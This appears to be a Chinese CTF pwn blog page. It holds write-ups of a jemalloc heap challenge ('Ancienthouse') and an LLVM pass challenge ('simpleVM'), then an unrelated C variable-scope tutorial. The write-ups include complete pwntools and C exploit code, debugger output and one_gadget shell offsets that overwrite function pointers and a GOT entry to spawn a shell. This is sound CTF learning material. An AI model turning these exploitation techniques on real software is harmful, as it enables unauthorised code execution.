unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Battle ");
printf("Enter enemy id : ");
__isoc99_scanf("%d", &id);
battle_s(id);
return 0LL;
}
  • 在 battle 中输入的 id 没有进行检查,造成了数组越位
1
2
3
4
5
6
7
8
if ( !chunk_list[index] )
{
puts("There's no one here to battle ");
return 0LL;
}
printf("Starting battle with %s ....\n", chunk_list[index]->name);
if ( chunk_list[index]->num > 0 )
chunk_list[index]->num -= chunk_head->num; // 0xF
  • 只要 chunk_list[index] 不为空,就可用打印 chunk_list[index]->name 泄露数据
  • 此外,还可以利用 chunk_list[index]->num -= chunk_head->num 修改 index_max
1
if ( index <= (unsigned int)index_max )
  • 因为 index_max 是 unsigned int 类型,所以负数溢出后 index_max 会变得很大,突破了 add 的限制
1
2
3
4
5
chunk = chunk_list[index1];
chunk->name = (char *)realloc(chunk->name, size1 + size2);
chunk_list[index1]->size = size1 + size2;
chunk_list[index1]->num += chunk_list[index2]->num;
merge_name(chunk_list[index1]->name, chunk_list[index2]->name, size1 + size2);
  • 前面已经把 chunk_list[index1]->size 改为了 size1 + size2
  • 后面在执行 merge_name 时,依然使用 size1 + size2
  • size2 被加了两遍,造成了堆溢出
1
2
3
4
5
6
7
8
if ( choice == 1 )
{
puts("killed");
free(chunk_list[index]);
free(chunk_list[index]->name);
chunk_list[index] = 0LL;
return 0LL;
}
  • 释放时,置空了 chunk_list[index],但是没有置空 chunk_list[index]->name
  • 可以利用堆风水来泄露 chunk_list->name(leak heap_addr)

泄露 pro_base 的思路

1
2
3
4
5
6
pwndbg> x/20xg 0x558ae15df000
0x558ae15df000: 0x0000000000000000 0x0000558ae15df008 /* off_4008 */
0x558ae15df010: 0x00000000fffffff6 0x0000000000000000
0x558ae15df020 <stdout>: 0x00007f3a7b9ad6a0 0x0000000000000000
0x558ae15df030: 0x00007f3a7a806040 0x0000000000000001
0x558ae15df040: 0x00007f3a7a80a040 0x0000000000000000 /* chunk_list */
1
2
.data:0000000000004008 08 40 00 00 00 00 00 00       off_4008 dq offset off_4008             ; DATA XREF: sub_12A0+1B↑r
.data:0000000000004010 05 00 00 00 index_max dd 5 ; DATA XREF: add+24↑r
  • off_4008 中装的是它自己,它后面“0x8”字节就是 index_max
  • battle 可以减少 num,并且泄露 name,它们之间也相差“0x8”字节
  • 所以使 index_max 负数溢出的同时,可以泄露 off_4008,绕过 PIE
1
battle(-7)

泄露 heap 的思路

  • 在 add 中,程序会先 malloc(0x18) 申请一片空间给 “蚂蚁群落” 结构体 Chunk ,然后再申请 Chunk->name
  • 如果 Chunk->name 和 Chunk 属于同一个 run(size大小在同一范围),就会分配到一起
  • 利用堆风水,使 Chunk->name 分配到已经释放的 Chunk 上,由于释放的 Chunk 中 name 指针没有置空,所以新的 Chunk->name 可以泄露该指针
1
2
3
4
5
6
7
8
add(0x60, '1' * 0x20) 
add(0x60, '2' * 0x20)

kill(0) # 需要释放两个Chunk,也就是4个region,两个0x60大小,两个0x20大小
kill(1)

add(0x20, '') # 需要占用两个0x20大小的region,第二个就会作为Chunk->name
battle(2)

入侵思路

1
2
3
4
5
6
7
 p_fun = malloc(0x50uLL);
*p_fun = str_fun;

.......

((void (__fastcall *)(_QWORD))*p_fun)(p_fun[1]);
exit(1);
  • 选择“4”会执行一次函数指针 p_fun,我们的目的就是覆盖它为 system(本程序是有 system 的)

对于 jemalloc-2.2.5 有一些特点:

  • malloc 分配的数据是连续的,jemalloc-2.2.5 用偏移来获取 region 的位置
1
2
3
/* jemalloc-2.2.5/src/arena.c */
ret = (void *)((uintptr_t)run + (uintptr_t)bin_info->reg0_offset +
(uintptr_t)(bin_info->reg_size * regind));
  • region 的值可以理解为“3”部分相加:
    • run:对应 run 的基地址
    • bin_info->reg0_offset:此 bin 对应的 run 中第一个 region 的偏移量
    • bin_info->reg_size * regind:目标 region 在 run 中的偏移量
  • 在 jemalloc 分配 region 前,会在目标 run 的范围的头部申请一个 arena_run_t 结构体来管理 run
  • 每一个 run 占用的地址空间有一定的规律:
1
2
3
4
5
6
7
add(0x10, '0' * 0x10)
add(0x20, '1' * 0x10)
add(0x30, '2' * 0x10)
add(0x40, '3' * 0x10)
add(0x50, '4' * 0x10)
add(0x60, '5' * 0x10)
add(0x70, '6' * 0x10)
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x55a84742a040
00:00000x55a84742a040 —▸ 0x7f0d6300a040 —▸ 0x7f0d63006050 ◂— '0000000000000000'
01:00080x55a84742a048 —▸ 0x7f0d6300a060 —▸ 0x7f0d6300a080 ◂— '1111111111111111'
02:00100x55a84742a050 —▸ 0x7f0d6300a0a0 —▸ 0x7f0d6300b040 ◂— '2222222222222222'
03:00180x55a84742a058 —▸ 0x7f0d6300a0c0 —▸ 0x7f0d63007080 ◂— '3333333333333333'
04:00200x55a84742a060 —▸ 0x7f0d6300a0e0 —▸ 0x7f0d630080b0 ◂— '4444444444444444'
05:00280x55a84742a068 —▸ 0x7f0d6300a100 —▸ 0x7f0d6300c080 ◂— '5555555555555555'
06:00300x55a84742a070 —▸ 0x7f0d6300a120 —▸ 0x7f0d6300e080 ◂— '6666666666666666'
07:00380x55a84742a078 ◂— 0x0
  • 不管重复多少次后5位始终不变,说明 jemalloc 的分配以 100page 为单位
  • 而 p_fun 是用 malloc(0x50) 分配的,它所在地址为“0x8000”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x7f8a8c808000
00:00000x7f8a8c808000 ◂— 0x384adf93 /* arena_run_t[0x50] */
01:00080x7f8a8c808008 —▸ 0x7f8a8d000d70 ◂— 0x0
02:00100x7f8a8c808010 ◂— 0x3000000002
03:00180x7f8a8c808018 ◂— 0x3fffffffffffc
04:00200x7f8a8c808020 ◂— 0x0
... ↓ 3 skipped
08:00400x7f8a8c808040 ◂— 0x0
... ↓ 3 skipped
0c:00600x7f8a8c808060 —▸ 0x563e3dadfb82 ◂— endbr64 /* p_fun */
0d:00680x7f8a8c808068 ◂— 0x0
... ↓ 2 skipped
10:00800x7f8a8c808080 ◂— 0x0
... ↓ 5 skipped
16:00b0│ 0x7f8a8c8080b0 ◂— '4444444444444444'
17:00b8│ 0x7f8a8c8080b8 ◂— '44444444'
  • 因为 p_fun 是 run[0x50] 的第一个 region,申请的 region[0x50] 不可能向上覆盖,所以只能考虑申请 0x40 的 region(因为离得最近)
  • 可以利用堆溢出来修改控制 arena_run_t[0x50] 结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct arena_run_s arena_run_t;

struct arena_run_s {
#ifdef JEMALLOC_DEBUG
uint32_t magic;
# define ARENA_RUN_MAGIC 0x384adf93
#endif

arena_bin_t *bin; /* 与此run关联的bin */
uint32_t nextind; /* 下一个从未分配过的区域或nregs的索引 */
unsigned nfree; /* run中的空闲区域数 */

/* 本次运行中区域的位掩码,每个位对应一个区域,'0'表示该区域已使用,'1'位值表示相应区域空闲,变量nextind是该数组的第一个非零元素的索引 */
unsigned regs_mask[];
};
  • 我们需要修改的就是这个 arena_run_s->nfree
1
2
3
4
5
6
7
pwndbg> p (arena_run_t)*0x7fc184808000
$1 = {
magic = 944430995,
bin = 0x7fc185000d70,
nextind = 1,
nfree = 49
}
  • 把 nfree 改为50,其他条目都不变
  • 如果 nfree 为初始值,jemalloc 就会认为该 run 没有进行分配,下一次分配就会覆盖 p_fun(这里不是很清楚原因,可能要在源码中找依据)

堆溢出 merge 有3个条件:

1
2
3
4
5
if ( index1 == index2 || size1 != size2 || size1 + size2 > 0x5F )
{
puts("Dont try anything funny ");
exit(1);
}
  • index 不相同,size 相同,size1 + size2 > 0x5F
  • 好像就只能使用两个 0x20 进行 merge

还有一个关键点:malloc 分配的数据是连续的

1
2
3
4
5
6
7
8
9
10
11
char *__fastcall merge_name(char *name1, char *name2, unsigned __int64 size)
{
unsigned __int64 i; // [rsp+20h] [rbp-10h]
size_t len; // [rsp+28h] [rbp-8h]

len = strlen(name1);
for ( i = 0LL; i < size; ++i )
name1[i + len] = name2[i];
name1[i + len] = 0;
return name1;
}
  • “size”为“0x60”(size1+size2+size2)
  • name2 的后半部分必须是 fake arena_run_t[0x50]

堆风水的构建

首先,name 必须连续,用两个连续的 name 来充当 name2,这里我参考了学长的思路:

  • 正常释放时,内存排列为:chunkF-nameF-chunkF-nameF-chunkF-nameF
  • 使用 malloc(0x60) 打乱内存的排列:chunk-nameF-chunkF-nameF-chunkF-nameF
  • 然后继续 malloc(0x20) 两次:chunk-chunk-name-chunk-name-nameF
  • 原本 name 的位置被写入了 chunk,原本 chunk 的位置被写入了 name,最后的 name-nameF 满足了 name 连续的条件
  • 所以,可以在最后一个 nameF 中装入 fake arena_run_t[0x50]

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

p = process("./Ancienthouse")
elf = ELF("./Ancienthouse")

def add(size,name):
p.sendlineafter(">> ",str(1))
p.sendlineafter("Enter the size : ",str(size))
p.sendlineafter("Enter name : ",name)

def battle(id):
p.sendlineafter(">> ",str(2))
p.sendlineafter("Enter enemy id : ",str(id))

def merge(id1,id2):
p.sendlineafter(">> ",str(3))
p.sendlineafter("[+] Enemy id 1: ",str(id1))
p.sendlineafter("[+] Enemy id 2: ",str(id2))

def kill(id):
for i in range(7):
battle(id)
p.sendline(str(1))

def fun():
p.sendlineafter(">> ",str(4))

p.sendline("yhellow")

#gdb.attach(p)

battle(-7)

p.recvuntil("Starting battle with ")
leak_addr = u64(p.recvuntil(" ....")[:-5].ljust(8,"\x00"))
pro_base = leak_addr-0x4008

success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))
success("chunk_list >> "+hex(pro_base+0x4040))

p.sendlineafter("You beat 'em!\n",str(2))

add(0x60, '1' * 0x20) # 0
add(0x60, '2' * 0x20) # 1

kill(0)
kill(1)
add(0x20, '') # 2
battle(2)

p.recvuntil("Starting battle with ")
leak_addr = u64(p.recvuntil(" ....")[:-5].ljust(8,"\x00"))
heap_base = leak_addr - 0xb00a
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

for i in range(6):
battle(2)

p.sendlineafter("You beat 'em!\n",str(1))

for i in range(61):
add(0x40, 'a'*0x40) # 3-63

add(0x20, '/bin/sh\x00') # 64
binsh = heap_base + 0xa800
payload = p64(0x384adf93)+p64(heap_base+0x800d70)+p64(0x0000003200000001)+p64(0x0003ffffffffffff)

add(0x20, '1' * 0x20) # 65
add(0x20, payload) # 66
add(0x20, '3' * 0x20) # 67
kill(65)
kill(66)
# chunkF-nameF-chunkF-nameF(t)

add(0x70, 'k' * 0x60) # 68
# (chunk)-nameF-chunkF-nameF(t)

add(0x20, '1' * 0x20) # 69
# chunk-(chunk-name)-nameF(t)

merge(67, 69)

system = pro_base + 0x1170
paylaod = p64(system) + p64(binsh)
add(0x50, paylaod) # p_func

p.sendline(str(4))

p.interactive()

小结:

jemalloc 对于 small part 的分配已经比较清楚了,但有些细节没有对照源码来看,只是记了结论

红帽杯 simpleVM 复现

注意:做 LLVM pass 的 pwn 题最好使用 IDA7.7 及其以上的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`

按照程序要求,预先配置好环境

知晓“在代码中注册的名字”时,就可以通过如下方法寻找 runOnFunction:

  • 在 IDA 中搜索题目给定的“在代码中注册的名字”,找到对应的函数

1653917067225

  • 在这个函数及其子函数中寻找 off-xxxx 就可能找到虚表(尽量找那些未命名的函数)

1653917316159

  • 虚表的最后一个条目就是 runOnFunction

1653917365912

如果函数名是 o0o0o0o0,则调用函数 sub_6AC0 进行进一步处理:(本人看不懂Cpp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_6AC0(__int64 a1, llvm::Function *a2)
{
llvm::BasicBlock *BasicBlock; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+38h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+40h] [rbp-10h] BYREF

v5[1] = __readfsqword(0x28u);
v5[0] = llvm::Function::begin(a2);
while ( 1 )
{
v4 = llvm::Function::end(a2);
if ( (llvm::operator!=(v5, &v4) & 1) == 0 )
break;
BasicBlock = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v5);
sub_6B80(a1, BasicBlock);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
v5,
0LL);
}
return __readfsqword(0x28u);
}
  • 大概的意思就是:遍历IR中 o0o0o0o0 函数中的 BasicBlock(基本代码块),然后继续调用 sub_6B80 函数进行处理
  • 该函数会遍历 BasicBlock(基本代码块) 中的指令,然后匹配到对应指令后进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *BasicBlock)
{
llvm::Value *CalledFunction; // rax
void **v3; // rax
void **v4; // rax
llvm::ConstantInt *key_min2; // [rsp+18h] [rbp-1B8h]
__int64 ArgOp_min2; // [rsp+20h] [rbp-1B0h]
__int64 op_min; // [rsp+28h] [rbp-1A8h]
llvm::ConstantInt *key_min; // [rsp+30h] [rbp-1A0h]
_QWORD *reg_min; // [rsp+38h] [rbp-198h]
__int64 ArgOp_min; // [rsp+40h] [rbp-190h]
llvm::ConstantInt *key_add2; // [rsp+50h] [rbp-180h]
__int64 ArgOp_add2; // [rsp+58h] [rbp-178h]
__int64 op_add; // [rsp+60h] [rbp-170h]
llvm::ConstantInt *key_add; // [rsp+68h] [rbp-168h]
_QWORD *reg_add; // [rsp+70h] [rbp-160h]
__int64 ArgOp_add; // [rsp+78h] [rbp-158h]
__int64 op_load; // [rsp+A0h] [rbp-130h]
llvm::ConstantInt *key_load; // [rsp+A8h] [rbp-128h]
void *reg_load; // [rsp+B0h] [rbp-120h]
__int64 ArgOp_load; // [rsp+B8h] [rbp-118h]
__int64 op_store; // [rsp+E0h] [rbp-F0h]
llvm::ConstantInt *key_store; // [rsp+E8h] [rbp-E8h]
void *reg_store; // [rsp+F0h] [rbp-E0h]
__int64 ArgOp_store; // [rsp+F8h] [rbp-D8h]
__int64 op_push; // [rsp+110h] [rbp-C0h]
llvm::ConstantInt *key_push; // [rsp+118h] [rbp-B8h]
_QWORD *reg_push; // [rsp+120h] [rbp-B0h]
__int64 ArgOp_push; // [rsp+128h] [rbp-A8h]
__int64 op_pop; // [rsp+140h] [rbp-90h]
llvm::ConstantInt *key_pop; // [rsp+148h] [rbp-88h]
_QWORD *reg_pop; // [rsp+150h] [rbp-80h]
__int64 ArgOp_pop; // [rsp+158h] [rbp-78h]
char *name; // [rsp+168h] [rbp-68h]
llvm::CallBase *v35; // [rsp+170h] [rbp-60h]
llvm::Instruction *v36; // [rsp+180h] [rbp-50h]
_QWORD *Name; // [rsp+1A8h] [rbp-28h]
__int64 v38; // [rsp+1B8h] [rbp-18h] BYREF
__int64 v39[2]; // [rsp+1C0h] [rbp-10h] BYREF

v39[1] = __readfsqword(0x28u);
v39[0] = llvm::BasicBlock::begin(BasicBlock);
while ( 1 )
{
v38 = llvm::BasicBlock::end(BasicBlock);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
name = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)name = *Name;
*((_QWORD *)name + 1) = Name[1];
*((_QWORD *)name + 2) = Name[2];
*((_QWORD *)name + 3) = Name[3];
if ( !strcmp(name, "pop") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_pop = llvm::CallBase::getArgOperand(v35, 0);
reg_pop = 0LL;
key_pop = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_pop);
if ( key_pop )
{
op_pop = llvm::ConstantInt::getZExtValue(key_pop);
if ( op_pop == 1 )
reg_pop = register1;
if ( op_pop == 2 )
reg_pop = register2;
}
if ( reg_pop )
{
v3 = stack_s;
*reg_pop = *(_QWORD *)*stack_s;
*v3 = (char *)*v3 - 8;
}
}
}
else if ( !strcmp(name, "push") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_push = llvm::CallBase::getArgOperand(v35, 0);
reg_push = 0LL;
key_push = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_push);
if ( key_push )
{
op_push = llvm::ConstantInt::getZExtValue(key_push);
if ( op_push == 1 )
reg_push = register1;
if ( op_push == 2 )
reg_push = register2;
}
if ( reg_push )
{
v4 = stack_s;
*stack_s = (char *)*stack_s + 8;
*(_QWORD *)*v4 = *reg_push;
}
}
}
else if ( !strcmp(name, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_store = llvm::CallBase::getArgOperand(v35, 0);
reg_store = 0LL;
key_store = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_store);
if ( key_store )
{
op_store = llvm::ConstantInt::getZExtValue(key_store);
if ( op_store == 1 )
reg_store = register1;
if ( op_store == 2 )
reg_store = register2;
}
if ( reg_store == register1 )
{
**(_QWORD **)register1 = *(_QWORD *)register2;
}
else if ( reg_store == register2 )
{
**(_QWORD **)register2 = *(_QWORD *)register1;
}
}
}
else if ( !strcmp(name, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_load = llvm::CallBase::getArgOperand(v35, 0);
reg_load = 0LL;
key_load = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_load);
if ( key_load )
{
op_load = llvm::ConstantInt::getZExtValue(key_load);
if ( op_load == 1 )
reg_load = register1;
if ( op_load == 2 )
reg_load = register2;
}
if ( reg_load == register1 )
*(_QWORD *)register2 = **(_QWORD **)register1;
if ( reg_load == register2 )
*(_QWORD *)register1 = **(_QWORD **)register2;
}
}
else if ( !strcmp(name, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
ArgOp_add = llvm::CallBase::getArgOperand(v35, 0);
reg_add = 0LL;
key_add = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_add);
if ( key_add )
{
op_add = llvm::ConstantInt::getZExtValue(key_add);
if ( op_add == 1 )
reg_add = register1;
if ( op_add == 2 )
reg_add = register2;
}
if ( reg_add )
{
ArgOp_add2 = llvm::CallBase::getArgOperand(v35, 1u);
key_add2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_add2);
if ( key_add2 )
*reg_add += llvm::ConstantInt::getZExtValue(key_add2);
}
}
}
else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
ArgOp_min = llvm::CallBase::getArgOperand(v35, 0);
reg_min = 0LL;
key_min = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_min);
if ( key_min )
{
op_min = llvm::ConstantInt::getZExtValue(key_min);
if ( op_min == 1 )
reg_min = register1;
if ( op_min == 2 )
reg_min = register2;
}
if ( reg_min )
{
ArgOp_min2 = llvm::CallBase::getArgOperand(v35, 1u);
key_min2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_min2);
if ( key_min2 )
*reg_min -= llvm::ConstantInt::getZExtValue(key_min2);
}
}
free(name);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
v39,
0LL);
}
return 1LL;
}

Cpp 看得我好难受,连蒙带猜可以推断出它的意思:

  • 先从函数的第二个参数传入 BasicBlock
  • 通过 llvm::Value::getName 获取 name
  • 把 name 和各种命令进行对比:pop,push,add……
  • 紧接着就执行了 llvm::CallBase::getArgOperand(v35, 0) ,从名字来看,它获取了一个叫做 ArgOperand 的东西(看上去像是某种操作数)
  • 然后把 ArgOperand 作为参数,执行了 llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_pop) ,因为返回值的类型为 llvm::ConstantInt * ,看名字和“常量整数”有关,所以猜测这个函数和C语言中的 “atoi” 类似
  • 然后执行 llvm::ConstantInt::getZExtValue(key_pop) ,获取了整形的 ZExtValue,从后续的 if 语句来看,这个值极有可能是“1”或者“2”
  • 最后对比 op_command 的值,选择把 reg_command 赋值为 register1 或者 register2

漏洞点如下:

ADD 指令:

1
2
3
4
5
6
7
if ( reg_add )
{
ArgOp_add2 = llvm::CallBase::getArgOperand(v35, 1u);
key_add2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_add2);
if ( key_add2 )
*reg_add += llvm::ConstantInt::getZExtValue(key_add2);
}
  • 这里匹配到 add 指令时,会根据其 “操作数1” 的值,来选择对应的 register,将 “操作数2” 累加上去
  • 可以通过 add 改变 register1 和 register2(它们的初始值为“0”)

LOAD 指令:

1
2
3
4
if ( reg_load == register1 )
*(_QWORD *)register2 = **(_QWORD **)register1;
if ( reg_load == register2 )
*(_QWORD *)register1 = **(_QWORD **)register2;
  • 当匹配到 load 指令时,将对应的 register 中的值看做是地址,从该地址中取出8字节数据存入另一个 register 中(把二级指针中的数据放入一级指针中)
  • register1 和 register2 的值完全由 add 控制,并且没有 load 中没有检查边界

STORE 指令:

1
2
3
4
5
6
7
8
if ( reg_store == register1 )
{
**(_QWORD **)register1 = *(_QWORD *)register2;
}
else if ( reg_store == register2 )
{
**(_QWORD **)register2 = *(_QWORD *)register1;
}
  • 当匹配到 store 指令时,就执行和 load 指令相反的操作,同样没有检查边界
  • 所以 addloadstore 相互配合,就可以实现 WAA

入侵思路为:

  • opt-8 二进制程序的 GOT 表中的 free 表项改为 one_gadget,即可获得 shell

获取 one_gadget:

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
➜  simpleVM one_gadget libc.so -l2
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe56ff execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe58b8 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe58bf execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe58c3 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a468 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

获取 free GOT 表:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level='debug'

p=process('./opt-8')
elf=ELF('./opt-8')

free_got = elf.got['free']
success("free_got >> "+hex(free_got))

p.interactive()
1
2
3
4
5
6
7
8
9
[+] Starting local process './opt-8' argv=['./opt-8'] : pid 3696
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/simpleVM/opt-8'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] free_got >> 0x77e100
[*] Switching to interactive mode

完整 exp 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100); // 0x77e100: free_GOT
load(1);
add(2, 0x72a9c); // 0x72a9c: one_gadget和free_addr之间的偏移
store(1);
}
  • add(1, 0x77e100) 会在 register1 中写入 free_GOT
  • load(1) 会把 free_GOT 中的 free_addr(二级指针)装入 register2(一级指针)
  • add(2, 0x72a9c) 会把 register2 中的 free_addr 变为 one_gadget
  • store(1) 会把 register2 中的 one_gadget(一级指针),装入 register1 中的 free_GOT 中(二级指针)

最后执行:

1
2
➜  simpleVM clang -emit-llvm -S exp.c -o exp.ll
➜ simpleVM ./opt-8 -load ./VMPass.so -VMPass ./exp.ll
  • PS:当我尝试利用 patchelf 修改 opt-8 的 libc 版本时,我遇到了各种各样的报错,最后还是没法解决,干脆就算了

小结:

这是我第一次搞 LLVM pwn,感觉就是 Cpp 的代码有点难看,程序逻辑还是可以理解

我对于 LLVM 的理解是:

  • 在执行优化操作之前,先把代码转化为 LLVM 的中间表示 IR,然后对 IR 进行优化,最后交给后端翻译为机器码

本题目的问题就出在 LLVM IR 的优化,也就是 LLVM pass

用 IDA 分析发现:VMPass.so 有大量“指令函数”(add,load,store ……),这些函数就是优化的目标,漏洞也是在优化的过程中出现的

C语言-作用域

作用域简析

所谓作用域,就是变量的有效范围,即变量可以在哪个范围以内使用

​ // 有些变量可以在所有代码文件中使用,有些变量只能在当前的文件中使用,有些变量只能在函数内部使用,有些变量只能在 for 循环内部使用

变量的作用域由变量的定义位置决定,在不同位置定义的变量,它的作用域是不一样的

C语言编译器可以确认四种不同类型的作用域:

  • 代码块作用域(代码块是{}之间的一段代码)
  • 文件作用域
  • 原型作用域
  • 函数作用域(局部变量)

参考:

C语言总结之变量的种类

C语言 作用域

常见的代码块作用域

一,如:“if(){}”,“while(){}”,“switch(){ case 1:{}……}”等各种情况的{}即块作用作用域,在{}中定义的变量,作用域仅限定在{}中

换句话说,在代码块内部定义的变量只能在代码块内部使用,出了代码块就无效了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
//函数声明
int gcd(int a, int b); //也可以写作 int gcd(int, int);
int main(){
printf("The greatest common divisor is %d\n", gcd(100, 60));
return 0;
}
//函数定义
int gcd(int a, int b){
//若a<b,那么交换两变量的值
if(a < b){
int temp1 = a; //块级变量
a = b;
b = temp1;
}

//求最大公约数
while(b!=0){
int temp2 = b; //块级变量
b = a % b;
a = temp2;
}

return a;
}

“temp1”的作用域是 if 内部,“temp2”的作用域是 while 内部

二,for循环中定义的变量,作用作用域仅限于for循环

三,单独的代码块也可以成立

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main(){
int n = 22; //编号①
//由{ }包围的代码块
{
int n = 40; //编号②
printf("block n: %d\n", n);
}
printf("main n: %d\n", n);

return 0;
}

这里有两个 n,它们位于不同的作用域,不会产生命名冲突

​ // { } 的作用域比 main() 更小

参考: C语言块级变量:在代码块内部定义的变量

文件作用域简析

简单来说,就是在函数外声明的作用域,其名称从声明的地方开始,到该程序的结尾都是通用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>

#define NUMBER 5 // 对象式宏

int v[NUMBER]; // 在函数外声明的变量,文件作用域,定义声明

int func1(void); // 因为func1函数是在main函数之后创建的,因此需要函数原型声明

int main(void)
{
extern int v[]; // 非定义声明,可省略
int i;
puts("please input the scores.");
for (i = 0; i < NUMBER; i++)
{
printf("v[%d] = ", i); scanf("%d", &v[i]);
}
printf("the max : %d\n", func1());
return 0;
}

int func1(void)
{
extern int v[]; ## 非定义声明,可省略
int i, max = v[0];
for (i = 0; i < NUMBER; i++)
{
if (v[i] > max)
max = v[i];
}
return max;
}

